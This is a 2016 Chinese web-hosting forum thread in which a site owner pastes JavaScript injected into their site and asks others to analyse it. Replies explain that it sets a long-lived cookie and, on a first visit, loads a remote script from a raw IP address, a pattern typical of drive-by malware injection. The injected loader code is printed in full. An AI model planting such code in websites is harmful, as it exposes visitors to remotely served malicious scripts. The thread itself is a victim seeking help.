全球主机交流论坛

标题: 被挂马了，求大神分析这段代码 [打印本页]

作者: admip 时间: 2016-10-15 14:45
标题: 被挂马了，求大神分析这段代码
<script type="text/javascript" src="http://103.224.249.13/zx/a.js"></script>

function goad(){
var Then = new Date()
Then.setTime(Then.getTime() + 2400*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString()
document.write('<script src="http://103.224.249.13/zx/1.js" type=text/javascript></script>');
}
}goad();

这是被挂马了吗

作者: 8idc.com 时间: 2016-10-15 15:06
设置含推荐信息的cookies？

作者: 单调 时间: 2016-10-15 16:31
http://103.224.249.13/zx/1.js 这个比较关键

作者: 李沁峰 时间: 2016-10-15 16:38
楼主是不是搞错了，应该找出程序的漏洞才对呀。

作者: jraml 时间: 2016-10-15 17:55
提示: 作者被禁止或删除内容自动屏蔽

作者: 岳绮罗 时间: 2016-10-15 18:24
打死在说

作者: 雨宫音羽 时间: 2016-10-15 18:33

http://d.86fm.com/appios.asp?ref=18mobappios&pid=7160

获取不到返回0值因此不知道这个会返回什么数据

上面的代码的意思是访客第一次访问后会被设置一个100天长的cookie 当有这个cookie时代码什么都不做当没有这个cookie时加载一个http://103.224.249.13/zx/1.js的脚本

也就是防同一个访客多次加载同样脚本的功能。常见于挂马也可能是用于别的用途

作者: 叫妇 时间: 2016-10-15 19:29
我好像看到了商机

欢迎光临全球主机交流论坛 (https://hostloc.gdisk.cf/)